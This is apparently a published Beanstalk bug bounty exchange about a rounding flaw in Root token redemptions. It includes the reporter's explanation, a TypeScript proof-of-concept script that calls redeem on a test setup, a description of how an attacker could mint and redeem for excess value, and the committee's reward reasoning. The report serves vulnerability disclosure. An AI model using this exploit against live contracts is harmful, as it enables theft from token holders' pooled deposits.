Bug in Root Token Implementation
BIR-4: Root Token Redemptions
BIC Response
(A) The intention is to add the Root token as in-scope as soon as possible, so we are of course happy to consider any bug reports assuming the Root token is in-scope in the meantime.
(B) It is impossible to assess the validity of a bug report without knowing what the bug is. That said, what we primarily hope to receive in terms of a "PoC" is simply a clear set of instructions for reproducing the bug. We are happy to forego the "code implementing the fix" requirement if you can provide this.
(C) We are in agreement that an issue that results in the theft of unclaimed yield and/or the incorrect distribution of value underlying Roots would result in a bounty of at least 10,000 Beans.
Please share the details of the report as soon as possible.
Reporter Response
The fundamental issue is that the calculation of the Roots to redeem in the Solidity code is incorrect, assuming the whitepaper to be the source of truth.In Section 3.3 of the whitepaper we can see that the amount of Root to redeem for a set of deposits is derived from theĀ maxĀ ratio change in BDV, Stalk or Seeds. In the solidity code, the Roots to redeem is inadvertently being derived from theĀ minĀ ratio. This is because the numerator is using after-transaction values for BDV/Stalk/Seeds, rather than deposit values for BDV/Stalk/Seeds, which changes how the values are conceptually being represented. The same Solidity math logic is used for Mint, but does not cause a problem in the Minting function because the deposit deltas are positive.
The faulty logic is seen in the _transferDeposits() function of the Root.sol contract (~line 529).Ā https://github.com/RootToken/Root/blob/master/Root.sol
As a result, users are able to redeem deposits for less root than they otherwise would. This means they can extract an outsized portion of the BDV. In fact, assuming that the stalk:BDV ratio has been >1, we can assume most redemptions up to this point probably received slightly more BDV than they were supposed to. As the underlying ratio of Stalk:BDV increases, the excess BDV distributed in each transaction will increase. In this way, the issue will gradually scale, eating away at the underlying BDV.
I believe the passive degradation described above is the biggest problem, but this issue could also be exploited intentionally by a malicious actor. Given a set of deposits with accumulated seeds, and assuming the underling Root pool has a excess of Stalk over BDV, a user could mint and then immediately redeem their root for a significantly larger amount of BDV.
I have attached a simple proof of concept here built using your SDK. It is quite messy, but it is what I could do on short notice working with a new library. You can replace theĀ
packages/examples/src/test.ts
Ā file in the SDK with this test file and run it usingĀyarn x src/test.ts
. When you run it you will see that the Roots the contract redeems matches the amount calculated using theĀ minĀ rather than theĀ max. See console output lines:
redeem roots (from *max* ratio):
redeem roots (from *min* (incorrect) ratio):
11 shares
// import { BeanstalkSDK } from "@beanstalk/sdk" import { sdk, chain, account } from "./setup" import { DepositTransferStruct } from "../../sdk/src/constants/generated/Beanstalk/Root"; import { FarmFromMode, FarmToMode, TokenValue, TestUtils, DataSource, Token, ERC20Token } from "@beanstalk/sdk"; import { MAX_UINT256 } from "@beanstalk/sdk/dist/types/constants"; import { parseBytes32String, toUtf8String } from "ethers/lib/utils"; // import { getTestUtils } from "../../sdk/src/utils/TestUtils/provider"; // const { sdk, account, utils } = getTestUtils(); // PROOF OF CONCEPT // Notice that the amount of Root redeemed is the same as the amount calculated using the // MINIMUM ratio, rather than the MAXIMUM ratio. async function main() { // const bal = await sdk.tokens.ETH.getBalance(account) // console.log(bal.toHuman()) // await chain.setROOTBalance(account, sdk.tokens.ROOT.amount(30000)) await chain.setAllBalances(account, "700000"); // var result = await chain.setAllBalances(account, "500000"); console.log(await (await sdk.tokens.BEAN.getBalance(account)).toHuman()) console.log(await (await sdk.tokens.USDT.getBalance(account)).toHuman()) console.log(await (await sdk.tokens.ROOT.getBalance(account)).toHuman()) // Get Root deposits. // Taken from subgraph var high_stalk_deposits = [ { "season": 5735, "bdv": "1920240808", "token": "0xbea0000029ad1c77d3d5d23ba2d8893db9d1efab", "farmer": { "id": "0x77700005bea4de0a78b956517f099260c2ca9a26" } }, { "season": 5948, "bdv": "83725855", "token": "0xbea0000029ad1c77d3d5d23ba2d8893db9d1efab", "farmer": { "id": "0x77700005bea4de0a78b956517f099260c2ca9a26" } } ] var low_stalk_deposits = [ { "season": 8594, "bdv": "60404470", "token": "0xbea0000029ad1c77d3d5d23ba2d8893db9d1efab", "farmer": { "id": "0x77700005bea4de0a78b956517f099260c2ca9a26" } }, { "season": 8593, "bdv": "381219575", "token": "0xbea0000029ad1c77d3d5d23ba2d8893db9d1efab", "farmer": { "id": "0x77700005bea4de0a78b956517f099260c2ca9a26" } } ] var deposit_season = 8593 var deposit_amount = 100000000 // sdk.tokens.BEAN.fromHuman(1000) const [currentSeason, estimatedDepositBDV] = await Promise.all([ sdk.sun.getSeason(), sdk.silo.bdv(sdk.tokens.BEAN, sdk.tokens.BEAN.fromBlockchain(100000000)) ]); var deposit_crates = [ sdk.silo.makeDepositCrate(sdk.tokens.BEAN, deposit_season, "100000000", estimatedDepositBDV.toBlockchain(), currentSeason) ] var deposit_transfer:DepositTransferStruct = { token: sdk.tokens.BEAN.address, seasons: [deposit_season], amounts: [100000000] } var estimated_redeem_roots = await sdk.root.estimateRoots(sdk.tokens.ROOT, deposit_crates, false) var root_supply:TokenValue = await sdk.tokens.ROOT.getTotalSupply() var root_balance = await sdk.tokens.BEAN.getBalance(sdk.contracts.root.address) // Internal and External var account_root_balance = await sdk.tokens.ROOT.getBalance(account) console.log("Account balance: " + account_root_balance) const [rootUnderlyingBdvBefore, rootStalkBefore, rootSeedsBefore] = await Promise.all([ sdk.root.underlyingBdv(), sdk.silo.balanceOfStalk(sdk.contracts.root.address, true), // include grown sdk.silo.balanceOfSeeds(sdk.contracts.root.address) ]); const { bdv: totalBdvFromDeposits, stalk: totalStalkFromDeposits, seeds: totalSeedsFromDeposits } = sdk.silo.sumDeposits(sdk.tokens.BEAN, deposit_crates); var bdv_ratio = totalBdvFromDeposits.div(rootUnderlyingBdvBefore) var stalk_ratio = totalStalkFromDeposits.div(rootStalkBefore) var seed_ratio = totalSeedsFromDeposits.div(rootSeedsBefore) var max_ratio = Math.max(parseFloat(bdv_ratio.toHuman()), parseFloat(stalk_ratio.toHuman()), parseFloat(seed_ratio.toHuman())); var min_ratio = Math.min(parseFloat(bdv_ratio.toHuman()), parseFloat(stalk_ratio.toHuman()), parseFloat(seed_ratio.toHuman())); console.log("\n\n\n\nmax ratio: " + max_ratio) console.log("mix ratio: " + min_ratio) console.log("redeem roots (from *max* ratio): " + (root_supply.mul(Math.max(parseFloat(bdv_ratio.toHuman()), parseFloat(stalk_ratio.toHuman()), parseFloat(seed_ratio.toHuman())))).toBlockchain()) console.log("redeem roots (from *min* (incorrect) ratio): " + (root_supply.mul(Math.min(parseFloat(bdv_ratio.toHuman()), parseFloat(stalk_ratio.toHuman()), parseFloat(seed_ratio.toHuman())))).toBlockchain()) console.log("\n\n\n\n") var txn = await sdk.contracts.root.redeem([deposit_transfer], FarmToMode.EXTERNAL, account_root_balance.toBigNumber()) // console.log(txn) const receipt = await txn.wait(); console.log("Transaction executed"); // const [rootUnderlyingBdvAfter, rootStalkAfter, rootSeedsAfter] = await Promise.all([ // sdk.root.underlyingBdv(), // sdk.silo.balanceOfStalk(sdk.contracts.root.address, true), // include grown // sdk.silo.balanceOfSeeds(sdk.contracts.root.address) // ]); TestUtils.Logger.printReceipt([sdk.contracts.root], receipt); } main()
BIC Response
Although the Root token was not previously defined as in-scope, the BIC has decided due to the combination of the following reasons to offer a bounty for discovery of the bug and formally include the Root token contract in the Immunefi bug bounty program moving forward:
- The BIC had already determined to include the contract in the bug bounty program, but had not formalized it;
- The contract was audited by Halborn; and
- The contract has already started to attract a significant amount of Beans/BDV.
As a result of this vulnerability, Root holders were able to Redeem for Bean Deposits with fewer Roots than they otherwise would. However, the scale at which this vulnerability could manifest itself was marginal. About ~8,500 Roots had been Redeemed across 12 transactions and an additional ~226 Beans were received from those Redemptions than expected.
Given that:
- It would require time and significant capital to steal any meaningful portion of the underlying BDV of Root;
- The current underlying BDV of Root is about 165k;
- Extrapolating the loss of Beans in past Redemptions due to this vulnerability to the current underlying BDV results inĀ
(165,000 * 226) / 8500 = ~4387
Ā Beans; and - The minimum reward for High Impact (Theft of unclaimed yield) is 10,000 Beans:
The BIC determined that this bug report be rewarded 10,000 Beans.